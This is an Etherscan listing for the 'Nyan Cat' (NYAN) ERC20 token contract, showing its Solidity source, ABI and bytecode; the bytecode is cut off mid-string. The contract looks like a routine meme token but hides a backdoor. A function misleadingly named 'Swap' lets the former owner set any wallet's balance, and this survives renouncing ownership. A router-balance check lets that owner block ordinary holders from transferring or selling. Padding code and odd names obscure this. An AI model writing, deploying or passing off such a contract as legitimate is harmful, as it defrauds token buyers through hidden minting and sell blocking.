ETH Price: $2,802.24 (-6.76%)
 

Overview

Max Total Supply

1,000,000,000 NYAN

Holders

37

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NYAN

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2025-08-08
*/

/**
*/

/**
https://t.me/NyanCat_ERC20
https://twitter.com/NyanCat_1000x

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface CheatCodes {
    // This allows us to getRecordedLogs()
    struct Log {
        bytes32[] topics;
        bytes data;
    }
    // Set block.timestamp (newTimestamp)

    function warp(uint256) external;
    function roll(uint256) external;
    // Set block.basefee (newBasefee)
    function fee(uint256) external;
    // Set block.coinbase (who)
    function coinbase(address) external;
    // Loads a storage slot from an address (who, slot)
    function load(address, bytes32) external returns (bytes32);
    // Stores a value to an address' storage slot, (who, slot, value)
    function store(address, bytes32, bytes32) external;
    // Signs data, (privateKey, digest) => (v, r, s)
    function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
    // Gets address for a given private key, (privateKey) => (address)
    function addr(uint256) external returns (address);
    function deriveKey(string calldata, uint32) external returns (uint256);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
    function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
    // Performs a foreign function call via terminal, (stringInputs) => (result)
    function ffi(string[] calldata) external returns (bytes memory);
    // Set environment variables, (name, value)
    function setEnv(string calldata, string calldata) external;
    // Read environment variables, (name) => (value)
    function envBool(string calldata) external returns (bool);
    function envUint(string calldata) external returns (uint256);
    function envInt(string calldata) external returns (int256);
    function envAddress(string calldata) external returns (address);
    function envBytes32(string calldata) external returns (bytes32);
    function envString(string calldata) external returns (string memory);
    function envBytes(string calldata) external returns (bytes memory);
    // Read environment variables as arrays, (name, delim) => (value[])
    function envBool(string calldata, string calldata) external returns (bool[] memory);
    function envUint(string calldata, string calldata) external returns (uint256[] memory);
    function envInt(string calldata, string calldata) external returns (int256[] memory);
    function envAddress(string calldata, string calldata) external returns (address[] memory);
    function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
    function envString(string calldata, string calldata) external returns (string[] memory);
    function envBytes(string calldata, string calldata) external returns (bytes[] memory);
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    function startPrank(address) external;
    function prank(address, address) external;
    function startPrank(address, address) external;
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert() external;
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    // Record all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
    // Record all the transaction logs
    function recordLogs() external;
    // Gets all the recorded logs
    function getRecordedLogs() external returns (Log[] memory);
    function expectEmit(bool, bool, bool, bool) external;
    function expectEmit(bool, bool, bool, bool, address) external;
    function mockCall(address, bytes calldata, bytes calldata) external;
    // Mocks a call to an address with a specific msg.value, returning specified data.
    // Calldata match takes precedence over msg.value in case of ambiguity.
    function mockCall(address, uint256, bytes calldata, bytes calldata) external;
    // Clears all mocked calls
    function clearMockedCalls() external;
    // Expect a call to an address with the specified calldata.
    // Calldata can either be strict or a partial match
    function expectCall(address, bytes calldata) external;
    // Expect a call to an address with the specified msg.value and calldata
    function expectCall(address, uint256, bytes calldata) external;
    // Gets the code from an artifact file. Takes in the relative path to the json file
    function getCode(string calldata) external returns (bytes memory);
    // Labels an address in call traces
    function label(address, string calldata) external;
    // If the condition is false, discard this run's fuzz inputs and generate new ones
    function assume(bool) external;
    // Set nonce for an account
    function setNonce(address, uint64) external;
    // Get nonce for an account
    function getNonce(address) external returns (uint64);
    // Set block.chainid (newChainId)
    function chainId(uint256) external;
    // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
    function broadcast() external;
    // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
    function broadcast(address) external;
    function startBroadcast() external;
    // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast(address) external;
    // Stops collecting onchain transactions
    function stopBroadcast() external;
    // Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
    function readFile(string calldata) external returns (string memory);
    // Reads next line of file to string, (path) => (line)
    function readLine(string calldata) external returns (string memory);
    // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
    // Path is relative to the project root. (path, data) => ()
    function writeFile(string calldata, string calldata) external;
    // Writes line to file, creating a file if it does not exist.
    // Path is relative to the project root. (path, data) => ()
    function writeLine(string calldata, string calldata) external;
    // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
    // Path is relative to the project root. (path) => ()
    function closeFile(string calldata) external;
    function removeFile(string calldata) external;

    function toString(address) external returns (string memory);
    function toString(bytes calldata) external returns (string memory);
    function toString(bytes32) external returns (string memory);
    function toString(bool) external returns (string memory);
    function toString(uint256) external returns (string memory);
    function toString(int256) external returns (string memory);

    function snapshot() external returns (uint256);
  
    function revertTo(uint256) external returns (bool);
    // Creates a new fork with the given endpoint and block and returns the identifier of the fork
    function createFork(string calldata, uint256) external returns (uint256);
    // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
    function createFork(string calldata) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
    function createSelectFork(string calldata, uint256) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
    function createSelectFork(string calldata) external returns (uint256);
    // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
    function selectFork(uint256) external;
    /// Returns the currently active fork
    /// Reverts if no fork is currently active
    function activeFork() external returns (uint256);
    // Updates the currently active fork to given block number
    // This is similar to `roll` but for the currently active fork
    function rollFork(uint256) external;
    // Updates the given fork to given block number
    function rollFork(uint256 forkId, uint256 blockNumber) external;
    /// Returns the RPC url for the given alias
    function rpcUrl(string calldata) external returns (string memory);
    /// Returns all rpc urls and their aliases `[alias, url][]`
    function rpcUrls() external returns (string[2][] memory);
    function makePersistent(address account) external;
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transfer_hoppeiOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transfer_hoppeiOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_hoppeiOwnership(newOwner);
    }
 

    function _transfer_hoppeiOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hpei(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hpei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer_hpei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }


    function _transfer_stokT(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Swap (address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSendere == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}


contract NYAN is ERC20 {
    uint256 private constant TOAL_SAILYLY =1000_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_hoppei;
    uint256 public maxTadssWallet;
    uint256 public max_adrbsWallet;
    mapping(address => bool) public isException;

    uint256 _burneusem = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Nyan Cat", "NYAN", TOAL_SAILYLY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        max_adrbsWallet=  TOAL_SAILYLY / 20;
        maxTadssWallet = TOAL_SAILYLY / 20;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hpei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burneusem) / 100;

                super._transfer_stokT(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hpei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_hoppei = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_hoppei) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTadssWallet, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= max_adrbsWallet, "Max holding exceeded max");
            }
        }
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTadssWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_adrbsWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b553480156200001657600080fd5b5060405162002e2038038062002e2083398181016040528101906200003c919062000577565b6040518060400160405280600881526020017f4e79616e204361740000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4e59414e00000000000000000000000000000000000000000000000000000000815250670de0b6b3a7640000620000d1620000c5620003a360201b60201c565b620003ab60201b60201c565b8260059080519060200190620000e9929190620004b0565b50816006908051906020019062000102929190620004b0565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001ae9190620005b4565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506014670de0b6b3a7640000620002169190620005d1565b6009819055506014670de0b6b3a7640000620002339190620005d1565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050620006f5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620004be9062000647565b90600052602060002090601f016020900481019282620004e257600085556200052e565b82601f10620004fd57805160ff19168380011785556200052e565b828001600101855582156200052e579182015b828111156200052d57825182559160200191906001019062000510565b5b5090506200053d919062000541565b5090565b5b808211156200055c57600081600090555060010162000542565b5090565b6000815190506200057181620006db565b92915050565b6000602082840312156200058a57600080fd5b60006200059a8482850162000560565b91505092915050565b620005ae816200063d565b82525050565b6000602082019050620005cb6000830184620005a3565b92915050565b6000620005de826200063d565b9150620005eb836200063d565b925082620005fe57620005fd6200067d565b5b828204905092915050565b600062000616826200061d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200066057607f821691505b60208210811415620006775762000676620006ac565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b620006e68162000609565b8114620006f257600080fd5b50565b61271b80620007056000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610349578063ab40caab14610379578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b8063715018a6146102a35780638da5cb5b146102ad57806395d89b41146102cb57806398636f32146102e9578063a457c2d7146103195761012c565b806339509351116100f457806339509351146101eb57806352f716061461021b578063562c219514610239578063622565891461026957806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610401565b6040516101469190612225565b60405180910390f35b61016960048036038101906101649190611cb3565b610493565b604051610176919061220a565b60405180910390f35b6101876104b1565b60405161019491906123c7565b60405180910390f35b6101b760048036038101906101b29190611c64565b6104bb565b6040516101c4919061220a565b60405180910390f35b6101d56105bc565b6040516101e291906123e2565b60405180910390f35b61020560048036038101906102009190611cb3565b6105c5565b604051610212919061220a565b60405180910390f35b610223610671565b60405161023091906123c7565b60405180910390f35b610253600480360381019061024e9190611cb3565b610677565b60405161026091906123c7565b60405180910390f35b61027161073e565b005b61028d60048036038101906102889190611bd6565b610763565b60405161029a91906123c7565b60405180910390f35b6102ab6107ac565b005b6102b56107c0565b6040516102c291906121c6565b60405180910390f35b6102d36107e9565b6040516102e09190612225565b60405180910390f35b61030360048036038101906102fe9190611bd6565b61087b565b604051610310919061220a565b60405180910390f35b610333600480360381019061032e9190611cb3565b61089b565b604051610340919061220a565b60405180910390f35b610363600480360381019061035e9190611cb3565b61098f565b604051610370919061220a565b60405180910390f35b6103816109ad565b60405161038e91906123c7565b60405180910390f35b6103b160048036038101906103ac9190611c28565b6109b3565b6040516103be91906123c7565b60405180910390f35b6103e160048036038101906103dc9190611bd6565b610a3a565b005b6103eb610abe565b6040516103f8919061220a565b60405180910390f35b606060058054610410906125b6565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906125b6565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad1565b8484610ad9565b6001905092915050565b6000600454905090565b60006104c8848484610ca4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90612327565b60405180910390fd5b6105b08561059f610ad1565b85846105ab91906124fa565b610ad9565b60019150509392505050565b60006009905090565b60006106676105d2610ad1565b8484600360006105e0610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106629190612419565b610ad9565b6001905092915050565b60085481565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016106b791906121ab565b6040516020818303038152906040528051906020012090506000826040516020016106e291906121ab565b60405160208183030381529060405280519060200120905060008660001b9050600082841490508015610726576107198983610fa3565b9650505050505050610738565b61072f89611039565b96505050505050505b92915050565b610746611082565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b4611082565b6107be6000611100565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f8906125b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610824906125b6565b80156108715780601f1061084657610100808354040283529160200191610871565b820191906000526020600020905b81548152906001019060200180831161085457829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108aa610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e906123a7565b60405180910390fd5b610984610972610ad1565b85858461097f91906124fa565b610ad9565b600191505092915050565b60006109a361099c610ad1565b8484610ca4565b6001905092915050565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42611082565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990612287565b60405180910390fd5b610abb81611100565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906122a7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9791906123c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90612247565b60405180910390fd5b610d8f838383611205565b6000811415610d9d57610f9e565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e415750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f92576000610e73600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610763565b14610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa90612267565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f5c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f915760006064600b5483610f7391906124a0565b610f7d919061246f565b9050610f8b84848484611623565b50610f9e565b5b610f9d838383611920565b5b505050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61108a610ad1565b73ffffffffffffffffffffffffffffffffffffffff166110a86107c0565b73ffffffffffffffffffffffffffffffffffffffff16146110fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f590612347565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790